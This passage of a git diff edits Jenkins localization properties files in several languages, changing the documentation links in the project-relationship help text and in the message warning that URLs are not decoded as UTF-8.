that depend on each other, Jenkins can track which build of \ the upstream project is used by which build of the downstream project, by using \ the records created by \ - the fingerprint support. + the fingerprint support. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties index d652e444e0..60264c429d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties @@ -26,12 +26,12 @@ For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\ # When you have projects that depend on each other, Jenkins can track which build of \ # the upstream project is used by which build of the downstream project, by using \ # the records created by \ -# the fingerprint support. +# the fingerprint support. body=\ \u041a\u043e\u0433\u0430\u0442\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0438 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u0435\u0434\u0438\u043d \u043e\u0442 \u0434\u0440\u0443\u0433, Jenkins \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u043b\u0435\u0434\u0438 \u043a\u043e\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043d\u0430\ \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0430\u0449 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441\u0435 \u043f\u043e\u043b\u0437\u0432\u0430 \u043e\u0442 \u0441\u043b\u0435\u0434\u0432\u0430\u0449 \u043f\u0440\u043e\u0435\u043a\u0442 \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043a\u0430\u0442\u043e \u0441\u044a\u0437\u0434\u0430\u0432\u0430 \u0431\u0430\u0437\u0430 \u043e\u0442\ \u0434\u0430\u043d\u043d\u0438 \u043e\u0442\ - \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u0442\u0435\ + \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u0442\u0435\ \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u044a\u0446\u0438. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=\ \u041f\u043e\u0441\u043b\u0435\u0434\u0432\u0430\u0449\u0438\u044f\u0442 \u043f\u0440\u043e\u0435\u043a\u0442 \u043f\u0430\u0437\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u0438\u0442\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u044a\u0446\u0438 \u043d\u0430 \u0440\u0435\u0437\u0443\u043b\u0442\u0430\u0442\u0438\u0442\u0435 \u043e\u0442 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f\u0442\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties index 165dda6eef..4bdff159fc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_de.properties @@ -24,7 +24,7 @@ Title=Was ist eine "Projektbeziehung"? body=\ Wenn Sie voneinander abhngige Projekte entwickeln, kann Jenkins fr Sie herausfinden, welcher Build \ eines vorgelagerten Projektes fr welchen Build eines nachgelagerten Projektes verwendet wurde. Dies geschieht ber \ - gespeicherte "Fingerabdrcke", die mit Hilfe der Fingerabdruck-Funktion erzeugt wurden. + gespeicherte "Fingerabdrcke", die mit Hilfe der Fingerabdruck-Funktion erzeugt wurden. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Um Projektbeziehungen nachzuverfolgen, mssen folgende Bedingungen erfllt sein: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Das vorgelagerte Projekt zeichnet Fingerabdrcke seiner Build-Artefakte auf. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Das nachgelagerte Projekt zeichnet Fingerabdrcke der verwendeten Dateien aus vorgelagerten Projekten auf. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties index 19caf25357..165c1ab751 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_es.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Title=Cual es la relacin entre proyectos? -body=Cuando hay proyectos que dependen unos de otros, Jenkins puede hacer un seguimiento de qu\u00E9 proyectos padres est\u00E1n siendo utilizado por otros proyectos hijos usando un registro de firmas de los ficheros generados. Echa un vistazo a esta pagina: the fingerprint support. +body=Cuando hay proyectos que dependen unos de otros, Jenkins puede hacer un seguimiento de qu\u00E9 proyectos padres est\u00E1n siendo utilizado por otros proyectos hijos usando un registro de firmas de los ficheros generados. Echa un vistazo a esta pagina: the fingerprint support. This\ allows\ Jenkins\ to\ correlate\ two\ projects.=Esto facilita que Jenkins pueda correlacionar los dos proyectos The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Que el proyecto padre registre la firma de todos los ficheros que genera. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties index 0b3f9393b0..99238f34ce 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_et.properties @@ -5,4 +5,4 @@ The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=\u00DClesvoolu projekt salvestab oma j\u00E4rkude tulemuste s\u00F5rmej\u00E4ljed This\ allows\ Jenkins\ to\ correlate\ two\ projects.=See lubab Jenkinsil seostada kaks projekti. Title=Mis on "projektide seosed"? -body=Kui teil on kaks projekti mis s\u00F5ltuvad \u00FCksteisest, siis suudab Jenkins j\u00E4lgida seda millist \u00FClesvoolu projekti j\u00E4rku kasutatakse mingi allavoolu projekti j\u00E4rgu jaoks, kasutades s\u00F5rmej\u00E4lje toe poolt loodud kirjeid. +body=Kui teil on kaks projekti mis s\u00F5ltuvad \u00FCksteisest, siis suudab Jenkins j\u00E4lgida seda millist \u00FClesvoolu projekti j\u00E4rku kasutatakse mingi allavoolu projekti j\u00E4rgu jaoks, kasutades s\u00F5rmej\u00E4lje toe poolt loodud kirjeid. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties index 3facdce7f4..05a92c5a82 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_fr.properties @@ -25,7 +25,7 @@ body=\ Lorsque vous avez des projets qui dpendent les uns des autres, Jenkins peut tracer quel build \ de projet en amont est utilis par quel build de projet en aval, en utilisant \ les enregistrements crs par \ - le support de l''empreinte numrique. + le support de l''empreinte numrique. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Pour que cette fonctionnalit marche, les conditions suivantes sont requises: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Le projet en amont enregistre les empreintes numriques de ses artefacts de build The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Le projet en aval enregistre les empreintes num\u00E9riques des fichiers amont qu''il utilise diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties index fa09a49a64..1b333b466d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ja.properties @@ -24,7 +24,7 @@ Title="\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u76f8\u95a2\u95a2\u4fc2"\u3068\u306f body=\ \u4e92\u3044\u306b\u4f9d\u5b58\u3059\u308b\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u304c\u3042\u308b\u5834\u5408\u3001 Jenkins\u306f\u3069\u306e\u4e0a\u6d41\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u304c\u3069\u306e\u4e0b\u6d41\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u304b\u3092\u3001\ - \u6307\u7d0b\u30b5\u30dd\u30fc\u30c8\ + \u6307\u7d0b\u30b5\u30dd\u30fc\u30c8\ \u306b\u3088\u3063\u3066\u4f5c\u6210\u3055\u308c\u305f\u8a18\u9332\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u8ffd\u8de1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002 For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\ diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties index 6adef736ef..8a336276e7 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_lt.properties @@ -1,7 +1,7 @@ Title=Kas yra \u201eprojekt\u0173 priklausomyb\u0117\u201c? body=\ Kai turite projektus, kurie priklauso vienas nuo kito, naudodamas \u012fra\u0161us, sukurtus \ - pir\u0161t\u0173 antspaud\u0173 palaikymo Jenkinsas gali sekti, kuris ankstesnio projekto vykdymas \ + pir\u0161t\u0173 antspaud\u0173 palaikymo Jenkinsas gali sekti, kuris ankstesnio projekto vykdymas \ naudojamas kuriame \u017eemesnio projekto vykdyme. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=V\u0117lesnis projektas registruoja panaudot\u0173 ankstesniojo projekto fail\u0173 antspaudus The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Ankstesnis projektas registruoja savo vykdymo rezultat\u0173 antspaudus diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties index 8a48bc5914..342018aebc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_nl.properties @@ -24,7 +24,7 @@ Title=Wat zijn projectrelaties? body=\ Wanneer je projecten ontwikkelt, die van elkaar afhankelijk zijn, kan Jenkins voor jou uitzoeken welke \ bouwpoging van een bovenliggend project, gebruikt wordt door een onderliggend project. Dit gebeurt aan \ - de hand van de geregistreerd elektronische vingerafdrukken van \ + de hand van de geregistreerd elektronische vingerafdrukken van \ de,door een bouwpoging, opgeleverde artefacten. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Aan volgende voorwaarden dient voldaan om met deze functionaliteit te werken: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Het bovenliggende project registreert elektronische vingerafdrukken van zijn bouwartefacten. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties index cafa0ab87c..d42583d14a 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_pt_BR.properties @@ -24,7 +24,7 @@ Title=O que \u00e9 "Projeto de relacionamento"? body=\ Quando voc\u00ea tem projetos que dependem um do outro, o Jenkins pode rastrear qual build \u00e9 hierarquicamente superior, \ usando os registros criados pelo \ - suporte de fingerprint. + suporte de fingerprint. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Para esta caracter\u00edstica funcionar, as seguintes condi\u00e7\u00f5es s\u00e3o necess\u00e1rias The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=O projeto pai grava os fingerprints de seus artefatos de build This\ allows\ Jenkins\ to\ correlate\ two\ projects.=Isto permite que o Jenkins correlacione dois projetos. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties index 83e355117e..9bb47929cc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_ru.properties @@ -29,4 +29,4 @@ Title=\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 "\u043e\u0442\u043d\u043 body=\ \u041a\u043e\u0433\u0434\u0430 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0434\u0440\u0443\u0433\u043e\u0433\u043e, Jenkins \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c, \ \u043a\u0430\u043a\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0432\u043e\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 \u043d\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \ -\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u043e\u0432. +\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u043e\u0432. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties index 12a892d621..d4ba3a84a7 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors Title=\u0428\u0442\u0430 \u0458\u0435 "\u0432\u0435\u0437\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430"? -body=Jenkins \u043C\u043E\u0436\u0435 \u043F\u0440\u0430\u0442\u0438\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0435 \u0458\u0435\u0434\u0430\u043D \u043E\u0434 \u0434\u0440\u0443\u0433\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438 \u043E\u0442\u0438\u0441\u0430\u043A. +body=Jenkins \u043C\u043E\u0436\u0435 \u043F\u0440\u0430\u0442\u0438\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0435 \u0458\u0435\u0434\u0430\u043D \u043E\u0434 \u0434\u0440\u0443\u0433\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438 \u043E\u0442\u0438\u0441\u0430\u043A. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\u0414\u0430 \u0431\u0438 \u0442\u043E \u0440\u0430\u0434\u0438\u043B\u043E, \u0442\u0440\u0435\u0431\u0430 \u043E\u0431\u0435\u0437\u0431\u0435\u0434\u0438\u0442\u0438: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Upstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0447\u0443\u0432\u0430 \u043E\u0442\u0438\u0441\u043A\u0435 \u0441\u0432\u043E\u0458\u0438\u0445 \u0430\u0440\u0442\u0438\u0444\u0430\u043A\u0430\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Downstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0431\u0435\u043B\u0435\u0436\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0435 \u043E\u0442\u0438\u0441\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043E\u0434 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u043E\u0434 \u043A\u043E\u0433\u0430 \u0437\u0430\u0432\u0438\u0441\u0438. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties index 614fb129fb..e9f0e66118 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_tr.properties @@ -22,7 +22,7 @@ Title="Proje ili\u015fkisi" nedir? body=\ - E\u011fer birbirine ba\u011fl\u0131 projeleriniz varsa, Jenkins parmakizi deste\u011fi\ + E\u011fer birbirine ba\u011fl\u0131 projeleriniz varsa, Jenkins parmakizi deste\u011fi\ ile olu\u015fturulan kay\u0131tlar\u0131 kullanarak hangi upstream projenin hangi downstream proje taraf\u0131ndan\ kullan\u0131ld\u0131\u011f\u0131n\u0131 takip edebilir. For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=Bu\ \u00f6zelli\u011fin\ \u00e7al\u0131\u015fabilmesi\ i\u00e7in\ devam\u0131ndaki\ \u015fartlar\u0131n\ sa\u011flanmas\u0131\ gerekir: diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties index e3be9de475..1f690fe28c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_zh_TW.properties @@ -24,7 +24,7 @@ Title=\u4ec0\u9ebc\u662f\u300c\u5c08\u6848\u95dc\u806f\u300d? body=\ \u5982\u679c\u60a8\u7684\u5c08\u6848\u9593\u5f7c\u6b64\u6709\u95dc\u806f\uff0cJenkins \u80fd\u8ffd\u8e64\u4e0b\u6e38\u5c08\u6848\u5230\u5e95\u662f\u4f7f\u7528\u5230\u4e0a\u6e38\u5c08\u6848\u7684\u54ea\u4e00\u7248\u9032\u884c\u5efa\u69cb\u3002\ - \u9019\u500b\u529f\u80fd\u662f\u7d93\u7531\u6a94\u6848\u6307\u7d0b\u529f\u80fd\u6240\u7522\u751f\u7684\u8a18\u9304\u4f86\u9054\u6210\u3002 + \u9019\u500b\u529f\u80fd\u662f\u7d93\u7531\u6a94\u6848\u6307\u7d0b\u529f\u80fd\u6240\u7522\u751f\u7684\u8a18\u9304\u4f86\u9054\u6210\u3002 For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\u7b26\u5408\u4e0b\u5217\u689d\u4ef6\u624d\u80fd\u4f7f\u7528\u9019\u500b\u529f\u80fd: The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=\u4e0a\u6e38\u5c08\u6848\u8981\u8a18\u9304\u5efa\u7f6e\u6210\u54c1\u7684\u6307\u7d0b diff --git a/core/src/main/resources/jenkins/model/Messages.properties b/core/src/main/resources/jenkins/model/Messages.properties index 22eb57acf7..1b5a2455d1 100644 --- a/core/src/main/resources/jenkins/model/Messages.properties +++ b/core/src/main/resources/jenkins/model/Messages.properties @@ -39,8 +39,7 @@ Hudson.ViewName=All Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn\u2019t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Tomcat i18n for more details. Hudson.NodeDescription=the master Jenkins node CLI.restart.shortDescription=Restart Jenkins. diff --git a/core/src/main/resources/jenkins/model/Messages_bg.properties b/core/src/main/resources/jenkins/model/Messages_bg.properties index a8a78a17e3..db1dee5ce7 100644 --- a/core/src/main/resources/jenkins/model/Messages_bg.properties +++ b/core/src/main/resources/jenkins/model/Messages_bg.properties @@ -53,9 +53,7 @@ Hudson.NotUsesUTF8ToDecodeURL=\ \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0438\u0442\u0435. \u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u0437\u043d\u0430\u0446\u0438 \u0438\u0437\u0432\u044a\u043d ASCII \u0432 \u0438\u043c\u0435\u043d\u0430\u0442\u0430 \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438\ \u0438 \u0434\u0440. \u043c\u043e\u0436\u0435 \u0434\u0430 \u0434\u043e\u0432\u0435\u0434\u0435 \u0434\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0438. \u0417\u0430 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e\u0433\u043b\u0435\u0434\u043d\u0435\u0442\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0437\u0430\ \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\ - \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0437\u0430 \ + href="https://jenkins.io/redirect/troubleshooting/utf8-url-decoding">\ \u0438\u043d\u0442\u0435\u0440\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 Tomcat i18n. Hudson.NodeDescription=\ \u043e\u0441\u043d\u043e\u0432\u043d\u0438\u044f\u0442 \u043a\u043e\u043c\u043f\u044e\u0442\u044a\u0440 \u043d\u0430 Jenkins diff --git a/core/src/main/resources/jenkins/model/Messages_de.properties b/core/src/main/resources/jenkins/model/Messages_de.properties index e2c1e1664c..7f137e474a 100644 --- a/core/src/main/resources/jenkins/model/Messages_de.properties +++ b/core/src/main/resources/jenkins/model/Messages_de.properties @@ -36,8 +36,7 @@ Hudson.ViewName=Alle Hudson.NotUsesUTF8ToDecodeURL=\ Ihr Container verwendet kein UTF-8, um URLs zu dekodieren. Falls Sie Nicht-ASCII-Zeichen \ in Jobnamen usw. verwenden, kann dies Probleme mit sich bringen. Beachten Sie bitte die Hinweise zu \ - Containern bzw. \ - Tomcat i18N). + Tomcat i18N). Hudson.ReadPermission.Description=\ Dieses Recht ist notwendig, um so gut wie alle Jenkins-Seiten aufzurufen. \ Dieses Recht ist dann n\u00fctzlich, wenn Sie anonymen Benutzern den Zugriff \ diff --git a/core/src/main/resources/jenkins/model/Messages_es.properties b/core/src/main/resources/jenkins/model/Messages_es.properties index ac1f233aed..b4aae441ff 100644 --- a/core/src/main/resources/jenkins/model/Messages_es.properties +++ b/core/src/main/resources/jenkins/model/Messages_es.properties @@ -35,8 +35,7 @@ Hudson.ViewName=Todo Hudson.NotUsesUTF8ToDecodeURL=\ El contenedor de servlets no usa UTF-8 para decodificar URLs. Esto causar\u00e1 problemas si se usan nombres \ con caracteres no ASCII. Echa un vistazo a \ - Containers y a \ - Tomcat i18n para mas detalles. + Tomcat i18n para mas detalles. Hudson.ReadPermission.Description=\ El permiso de lectura es necesario para visualizar casi todas las p\u00e1ginas de Jenkins.\ Este permiso es \u00fatil cuando se quiere que usuarios no autenticados puedan ver las p\u00e1ginas. \ diff --git a/core/src/main/resources/jenkins/model/Messages_fr.properties b/core/src/main/resources/jenkins/model/Messages_fr.properties index e7f3ca0fa7..580e44c5b4 100644 --- a/core/src/main/resources/jenkins/model/Messages_fr.properties +++ b/core/src/main/resources/jenkins/model/Messages_fr.properties @@ -34,8 +34,7 @@ Hudson.ViewName=Tous Hudson.NotUsesUTF8ToDecodeURL=\ Votre conteneur n''utilise pas UTF-8 pour d\u00e9coder les URLs. Si vous utilisez des caract\u00e8res non-ASCII \ dans le nom d''un job ou autre, cela causera des probl\u00e8mes. \ - Consultez les pages sur les conteneurs et \ - sur Tomcat i18n pour plus de d\u00e9tails. + Consultez les pages sur les Tomcat i18n pour plus de d\u00e9tails. Hudson.ReadPermission.Description=\ Le droit en lecture est n\u00e9cessaire pour voir la plupart des pages de Jenkins. \ Ce droit est utile quand vous ne voulez pas que les utilisateurs non authentifi\u00e9s puissent voir les pages Jenkins \ diff --git a/core/src/main/resources/jenkins/model/Messages_ja.properties b/core/src/main/resources/jenkins/model/Messages_ja.properties index ffe68edd62..4367461436 100644 --- a/core/src/main/resources/jenkins/model/Messages_ja.properties +++ b/core/src/main/resources/jenkins/model/Messages_ja.properties @@ -35,8 +35,7 @@ Hudson.ViewAlreadyExists="{0}"\u3068\u3044\u3046\u30d3\u30e5\u30fc\u306f\u65e2\u Hudson.ViewName=\u3059\u3079\u3066 Hudson.NotUsesUTF8ToDecodeURL=\ URL\u304cUTF-8\u3067\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u30b8\u30e7\u30d6\u540d\u306a\u3069\u306bnon-ASCII\u306a\u6587\u5b57\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306f\u3001\ - \u30b3\u30f3\u30c6\u30ca\u306e\u8a2d\u5b9a\u3084\ - Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 + Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Hudson.ReadPermission.Description=\ \u53c2\u7167\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306f\u3001Jenkins\u306e\u307b\u307c\u3059\u3079\u3066\u306e\u753b\u9762\u3092\u53c2\u7167\u3059\u308b\u306e\u306b\u5fc5\u8981\u3067\u3059\u3002\ \u3053\u306e\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306f\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u306b\u306fJenkins\u306e\u753b\u9762\u3092\u53c2\u7167\u3055\u305b\u305f\u304f\u306a\u3044\u5834\u5408\u306b\u4fbf\u5229\u3067\u3059\u3002\ diff --git a/core/src/main/resources/jenkins/model/Messages_sr.properties b/core/src/main/resources/jenkins/model/Messages_sr.properties index 0d1216dd91..ce97ae2691 100644 --- a/core/src/main/resources/jenkins/model/Messages_sr.properties +++ b/core/src/main/resources/jenkins/model/Messages_sr.properties @@ -13,8 +13,8 @@ Hudson.JobNameConventionNotApplyed=\u2018{0}\u2019 \u043D\u0435 \u043E\u0434\u04 Hudson.ViewAlreadyExists=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 Hudson.JobAlreadyExists=\u0417\u0430\u0434\u0430\u0442\u0430\u043A \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 Hudson.ViewName=\u0421\u0432\u0435 -Hudson.NotUsesUTF8ToDecodeURL=\u0412\u0430\u0448 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u0442 UTF-8 \u0437\u0430 \u0434\u0435\u043A\u043E\u0434\u0438\u0440\u0430\u045A\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0435. \u0410\u043A\u043E \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0435 \u0432\u0430\u043D ASCII \u043D\u0438\u0437\u0430 \u0443 \u0438\u043C\u0435\u043D\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0438\u0442\u0434, \u043C\u043E\u0436\u0435 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041E\u0442\u0438\u0452\u0438 \u0442\u0435 \u043D\u0430 \u041A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438 \u0438 \ - Tomcat i18n \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. +Hudson.NotUsesUTF8ToDecodeURL=\u0412\u0430\u0448 